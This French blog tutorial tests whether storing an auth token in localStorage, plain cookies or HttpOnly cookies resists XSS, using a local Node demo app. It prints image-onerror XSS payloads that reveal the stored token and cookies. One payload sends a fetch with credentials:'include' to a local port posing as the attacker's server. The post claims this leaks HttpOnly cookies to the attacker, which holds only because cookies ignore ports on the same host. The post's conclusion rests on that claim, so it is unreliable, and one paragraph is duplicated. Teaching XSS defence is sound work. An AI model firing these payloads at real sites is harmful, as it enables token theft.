Boris CERATI

  Les cookies HttpOnly, une sécurité pour vos tokens ?

Il m'arrive souvent de devoir développer des applications qui possèdent d'une part, un backend, généralement développé avec le framework Symfony, et d'autre part, un frontend (React par exemple). Fréquemment, ce qui est fait, c'est que le front sauvegarde un token d'authentification soit dans le localStorage, soit dans les cookies afin de le transmettre au backend et authentifier l'utilisateur.

Très bien, mais il y a des soucis dans cette manière de faire :

En effet, les données sauvegardées en localStorage ou dans les cookies sont accessibles par du code JS malveillant injecté dans votre page au travers d'une faille XSS.

Comment s'en prémunir ? Peut-être pouvons-nous penser aux cookies avec le flag HttpOnly ?

Voyons pourquoi cette solution n'est pas la bonne et que la meilleure solution pour protéger votre application est d'éviter les failles XSS, tout simplement.

Que sont les cookies HttpOnly

Aujourd'hui, les cookies sont présents partout sur nos applications. En effet, ils permettent, côté client, de stocker un état, comme la session d'un utilisateur. Vous voyez la fonctionnalité "Se souvenir de moi" sur de nombreuses applications ? Un cookie se cache par là ! Et les informations que contiennent les cookies sont souvent sensibles, il faut donc les protéger contre les tentatives de piratage !

Les cookies, essentiels pour stocker des informations sensibles côté client ?

Les cookies sont stockés côté client sur la demande de votre backend. Pour cela, le backend vous envoie un header dans la réponse nommé Set-Cookie qui contient, entre autres, le nom et la valeur du cookie. Regardez la documentation sur le MDN.

Dans cet en-tête Set-Cookie deux informations sont importantes :

Un cookie déclaré comme étant HttpOnly n'est donc pas accessible via du code JS. Si vous faites un document.cookie, vous ne les verrez pas. Ainsi, si vous avez une faille XSS qui autorise une personne malveillante à injecter du code JS dans vos pages, elle n'aura pas accès à ces cookies.

Voyons la liste des cookies retournés par un document.cookie sur ma console Chrome à partir du site de Twitter :

Maintenant, regardez la liste complète de mes cookies sur le domaine de Twitter :

Comme vous pouvez le voir, les cookies HttpOnly n'apparaissent pas dans un docuemnt.cookie.

De manière générale, toutes les informations sensibles doivent être dans des cookies HttpOnly.

Mais est-ce suffisant ? Voyons ça avec plusieurs solutions pour stocker les informations sensibles :

Le code pour suivre cet article

Voici le code que je vais utiliser dans la suite de l'article. Il vous permettra de tester chacune des solutions ci-dessous.

Pour chaque code téléchargé, vous aurez un dossier comprenant la partie backend et la partie frontend.

Vous pouvez démarrer le projet en exécutant, les commandes suivantes :

npm ci
node app.js

Puis allez sur http://127.0.0.1:3000.

Utilisons le localStorage

Une fois que le projet est démarré, vous devriez avoir une page qui ressemble à ça :

Avant tout, cliquez sur "Connexion". À ce moment-là, un appel au backend est fait et ce dernier nous renvoie un token que l'on peut stocker dans le localStorage :

window.localStorage.setItem('token', token);

Ensuite, entrez un commentaire puis envoyez-le au backend. Il vous le renverra et le front pourra ensuite l'ajouter au DOM. Entrez par exemple "Un exemple de commentaire.". Vous le verrez apparaître.

Aujourd'hui, les principaux navigateurs nous empêchent d'exécuter des balises <script> ajoutées dynamiquement au DOM. Pour prévenir les attaques XSS justement. Mais, il y a une parade bien connue, les images ! Entrez donc ce commentaire :

<img
  src="<http://fake-image.org/fake.png>"
  onerror="alert(window.localStorage.getItem('token'));"
/>

Regardez ce qui se passe :

Faille XSS, apparition du token !

Hum, pas génial. Ici, nous affichons simplement le token. Bien sûr, dans la réalité, une personne malintentionnée l'enverra sur son propre backend et aura ainsi vos accès.

Utilisons les cookies (sans HttpOnly)

Plutôt que de stocker dans le localStorage, voyons pour le stocker dans les cookies (sans l'option HttpOnly). Le process reste le même, nous cliquons sur "Connexion", cela fera un appel au backend qui ajoute un header Set-Cookie pour dire au client de créer un cookie. Voici le code fait dans le backend :

res.cookie('token', 'my-secret-token', { maxAge: 900000 });

Le cookie apparaît dans le client :

Ajoutons un commentaire malintentionné :

<img src="<http://fake-image.org/fake.png>" onerror="alert(document.cookie);" />

Eh mince, le cookie peut aussi être piraté par une faille XSS.

Bon, on a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.

Voici le résultat :

Le cookie apparaît en clair dans le client

Mince, le cookie peut aussi être piraté par une faille XSS.

Bon, on n'a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.

Utilisons les cookies (avec HttpOnly)

Cette fois-ci, je compte bien faire en sorte que mon token reste secret ! Faisons en sorte que notre cookie ait le flag HttpOnly. Au moins nous serons sûrs qu'aucun code JS n'y aura accès du côté du client !

Il n'y a vraiment pas grand-chose à changer pour transformer notre cookie en cookie HttpOnly. Regardez la ligne que je modifie dans le code du backend :

res.cookie('token', 'my-secret-token', { maxAge: 900000, httpOnly: true });

Nous récupérons bien notre cookie HttpOnly, la preuve :

Le cookie est protégé contre les accès côté client !

Ajoutons le même commentaire malintentionné que tout à l'heure :

<img src="<http://fake-image.org/fake.png>" onerror="alert(document.cookie);" />

Le client ne peut pas voir les cookies !

Yeah, malgré la faille XSS sur mon application, le client ne peut pas lire les cookies avec du JS et le hacker ne pourra pas voler mes informations !

Bon, du coup, HttpOnly est une bonne solution ? Pas si vite, essayons de contourner ça !

Contourner les cookies HttpOnly

Les essais qui vont suivre ont été faits sur la même base de code que ci-dessus, avec les cookies HttpOnly.

Les cookies se trouvent du côté du client et sont transmis automatiquement au backend si je fais un appel Ajax, voyons cela et ajoutons un commentaire qui fera un appel Ajax :

<img src="<http://fake-image.org/fake.png>" onerror="fetch('/fake');" />

Bon, le backend dans ce cas, est le mien. Je sais ce que je fais dans le back pas de soucis, le pirate n'a toujours pas mon cookie. Mais, s’il fait un appel Ajax à son backend à lui ? Voyons cela :

<img
  src="<http://fake-image.org/fake.png>"
  onerror="fetch('<http://127.0.0.1:4500>');"
/>

Ouf, les cookies ne lui sont pas transmis.

Mais attendez ! Il existe une parade ! Regardez

<img
  src="<https://fake-image.org/fake.png>"
  onerror="fetch('<http://127.0.0.1:4500>', { credentials: 'include' });"
/>

Les cookies sont transmis au hacker !

Voilà, en ajoutant l'option credentials: 'include' à fetch, il transmet les cookies dans les headers de la requête Http. Le pirate a réussi à récupérer nos informations.

Conclusion

Comme nous venons de le voir, mettre ses informations sécrètes dans le localStorage, dans les cookies ou dans les cookies possédant le flag HttpOnly ne nous garanti pas une sécurité optimale. Aucune de ces solutions ne pourra empêcher un hacker d'exploiter une faille XSS et de mettre la main sur vos informations secrètes.

La seule solution afin de sécuriser vos données et de ne pas avoir de faille XSS. Aussi simple que cela. :)

Le design de ce blog a été créé avec ♥ par CreativeDesignsGuru.